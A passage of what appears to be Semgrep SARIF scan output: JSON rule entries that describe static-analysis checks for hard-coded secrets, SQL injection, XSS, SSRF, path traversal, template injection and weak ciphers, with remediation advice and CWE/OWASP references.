Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","id":"javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","name":"javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mongoose.node-mongoose-hardcoded-secret.node-mongoose-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"help":{"markdown":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.locals-as-template-context.locals-as-template-context)\n - [https://docs.djangoproject.com/en/3.2/ref/settings/#templates](https://docs.djangoproject.com/en/3.2/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates)\n - [https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context](https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context)\n","text":"Using 'locals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'locals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"helpUri":"https://semgrep.dev/r/python.django.security.locals-as-template-context.locals-as-template-context","id":"python.django.security.locals-as-template-context.locals-as-template-context","name":"python.django.security.locals-as-template-context.locals-as-template-context","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.locals-as-template-context.locals-as-template-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`."},"help":{"markdown":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include)\n - [https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion)\n - [https://github.com/presidentbeef/brakeman/blob/f74cb53/test/apps/rails2/app/controllers/home_controller.rb#L48-L60](https://github.com/presidentbeef/brakeman/blob/f74cb53/test/apps/rails2/app/controllers/home_controller.rb#L48-L60)\n","text":"Found request parameters in a call to `render`. This can allow end users to request arbitrary local files which may result in leaking sensitive information persisted on disk. Where possible, avoid letting users specify template paths for `render`. If you must allow user input, use an allow-list of known templates or normalize the user-supplied value with `File.basename(...)`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","id":"ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","name":"ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-render-local-file-include.check-render-local-file-include"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","id":"python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","name":"python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-mysql-hardcoded-secret.python-peewee-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information."},"help":{"markdown":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a python logger call with a potential hardcoded secret $FORMAT_STRING being logged. This may lead to secret credentials being exposed. Make sure that the logger is not logging  sensitive information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","id":"python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","name":"python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure","properties":{"precision":"very-high","tags":["CWE-532: Insertion of Sensitive Information into Log File","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.logging.logger-credential-leak.python-logger-credential-disclosure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Slack Token detected"},"help":{"markdown":"Slack Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-slack-token.detected-slack-token)\n - [https://github.com/davidburkitt/python-secret-scanner/blob/335a1f6dab8de59cf39063e57aea39a58951e939/patterns.txt#L58](https://github.com/davidburkitt/python-secret-scanner/blob/335a1f6dab8de59cf39063e57aea39a58951e939/patterns.txt#L58)\n","text":"Slack Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-slack-token.detected-slack-token","id":"generic.secrets.security.detected-slack-token.detected-slack-token","name":"generic.secrets.security.detected-slack-token.detected-slack-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-slack-token.detected-slack-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode)\n - [https://jwt-scala.github.io/jwt-scala/](https://jwt-scala.github.io/jwt-scala/)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","id":"scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","name":"scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: scala.jwt-scala.security.jwt-scala-hardcode.jwt-scala-hardcode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-stdlib.db.sequelize-http.sequelize-http)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.node-stdlib.db.sequelize-http.sequelize-http","id":"javascript.node-stdlib.db.sequelize-http.sequelize-http","name":"javascript.node-stdlib.db.sequelize-http.sequelize-http","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-stdlib.db.sequelize-http.sequelize-http"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","id":"javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","name":"javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password.node-sequelize-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers)\n","text":"ARC4 (Alleged RC4) is a stream cipher with serious weaknesses in its initial stream output.  Its use is strongly discouraged. ARC4 does not use mode constructions. Use a strong symmetric cipher such as EAS instead. With the `cryptography` package it is recommended to use the `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","id":"python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","name":"python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms-arc4.insecure-cipher-algorithm-arc4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url)\n - [https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","id":"typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","name":"typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-create-element-dangerouslysetinnerhtml-url.react-create-element-dangerouslysetinnerhtml-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf)\n - [https://laravel.com/docs/9.x/http-client](https://laravel.com/docs/9.x/http-client)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","id":"php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","name":"php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-http-client-ssrf.laravel-http-client-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","id":"java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","name":"java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint-sls.file-access-taint-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","id":"python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","name":"python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.webrepl.python-webrepl-empty-password.python-webrepl-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","id":"javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","name":"javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.pg.node-pg-hardcoded-secret.node-pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http and ftp (unencrypted) sites using OpenURI."},"help":{"markdown":"Checks for requests to http and ftp (unencrypted) sites using OpenURI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request)\n - [https://ruby-doc.org/stdlib-2.6.3/libdoc/open-uri/rdoc/OpenURI.html](https://ruby-doc.org/stdlib-2.6.3/libdoc/open-uri/rdoc/OpenURI.html)\n","text":"Checks for requests to http and ftp (unencrypted) sites using OpenURI."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.openuri-request.openuri-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true."},"help":{"markdown":"Visualforce Pages must use API version 55 or higher for required use of the cspHeader attribute set to true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.visualforce.security.ncino.xml.visualforceapiversion.visualforce-page-api-version)\n - 